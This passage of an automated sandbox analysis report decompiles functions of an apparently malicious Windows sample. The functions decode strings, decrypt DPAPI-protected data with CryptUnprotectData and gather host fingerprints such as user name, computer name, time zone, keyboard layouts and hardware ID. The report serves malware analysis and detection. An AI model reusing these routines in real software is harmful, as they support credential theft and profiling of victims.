				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 005876C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyX,00000000,00000000), ref: 005876EF
LocalAlloc.KERNEL32(00000040,?,?,00587976,?,?), ref: 00587701
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyX,00000000,00000000), ref: 0058772A
LocalFree.KERNEL32(?,?,?,00587976,?,?), ref: 0058773F

Strings

vyX, xrefs: 005876D4, 005876E1, 005876F9, 00587718, 005876E4, 0058771B

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: vyX
API String ID: 4291131564-879810185
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: 28baa3cd96a1bdf9b9f7231d86830c815d690cf337cec4d5799600d6a9da0976
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 24119DB4641208AFEB10CF64CC95FAA77B5FB89710F208458FE159B2D0C7B6AA51CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 344137be5d30726b15c1347dc301dd4324ce8af9ee75e84f38a2928fb7699b69
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 344137be5d30726b15c1347dc301dd4324ce8af9ee75e84f38a2928fb7699b69
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 005879F0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0058956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00587A3B
CryptStringToBinaryA.CRYPT32(0058956D,00000000), ref: 00587A46
lstrcat.KERNEL32(?,0041401A), ref: 00587B09
lstrcat.KERNEL32(?,0041401A), ref: 00587B1D
lstrcat.KERNEL32(0041401A,0041401A), ref: 00587B3E

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction ID: 40c33ed55598f8f181bc2f7a1b05fcad847c08c38fdce2b7f8045a88384bfac1
Opcode Fuzzy Hash: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction Fuzzy Hash: AD414D7490421E9FCB10DF94CD89BEEBBB8BF88704F1085A9E505A7280D7749A94CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00482148), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00584A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00584ACE
CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00584AF6

Strings

UNK, xrefs: 00584B0A

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: BinaryCryptString
String ID: UNK
API String ID: 80407269-448974810
Opcode ID: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction ID: f29db26d95dc3b3f07ec060bb8f09a5cfff7488c1b9144cb69a5883d0c4890fd
Opcode Fuzzy Hash: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction Fuzzy Hash: 790196F2A40208B7EB10EB90CC46FDA376CBB44701F104594FB04AA1C1D7F0EB448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00587760, Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00587784
LocalAlloc.KERNEL32(00000040,00000000), ref: 005877A3
LocalFree.KERNEL32(?), ref: 005877CF

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: cba17ac9a69032a00d86ffc03bf292b00f0bce9bc6277e13cb3f5c0d6cd8bf61
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: 7E11A8B8A01209DFCB04DF94C984AAE77B5FF88300F108558F915A7390D734AE51CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00586CF0, Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00586CF6
Sleep.KERNEL32(00002710), ref: 00586D04
GetTickCount.KERNEL32 ref: 00586D0A

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 154062e8cccd6ff34122eece553dd27d2fdeb74cd9efc68e3bd24d61c92c2dd5
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: DBE0E635A4A109DFD700BFB4EE0D4AC7FB4FF04342F1089B59C05A7250EA7459549B57

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 005873E0, Relevance: 1.6, APIs: 1, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 0058B8F0: GetProcessHeap.KERNEL32(00000008,b6Y,?,0058B7ED,b6Y,00000009,?,00593662,00000009), ref: 0058B8F9
Part of subcall function 0058B8F0: RtlAllocateHeap.NTDLL(00000000,?,0058B7ED), ref: 0058B900

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 00587433

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 70602493d2af59aedbd3980809feaf1d629ae2fd63b3cfa368ce9e5e0007a9ea
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 9911F9B5D0420EDFCF00EFA9C885AAEBBB9BF48304F248555E915AB311D734AA41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 133.3, APIs: 64, Strings: 12, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,00470420), ref: 00405705
lstrcat.KERNEL32(?,0046F5E0), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,00483120), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,00484C98), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,00487050), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(00486FA8,00486FA8), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(00486DF8,00486DF8), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(00484B18,00484B18), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(00484AF8,00484AF8), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(pnH,00486E70), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(00486F18,00486F18), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,00482598,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,004880D8,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(pnH,00486F60), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(pnH,00483130), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,00489CF0,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,00488CB8,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(pnH,00483140), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(pnH,00483150), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(00487008,00487008), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(00484A98,00484A98), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(pnH,00486F30), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(pnH,00486EE8), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(00486E10,00486E10), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(00486FC0,00486FC0), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,00486570,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,00488BC8,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(pnH,00483160), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(00484C18,00484C18), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

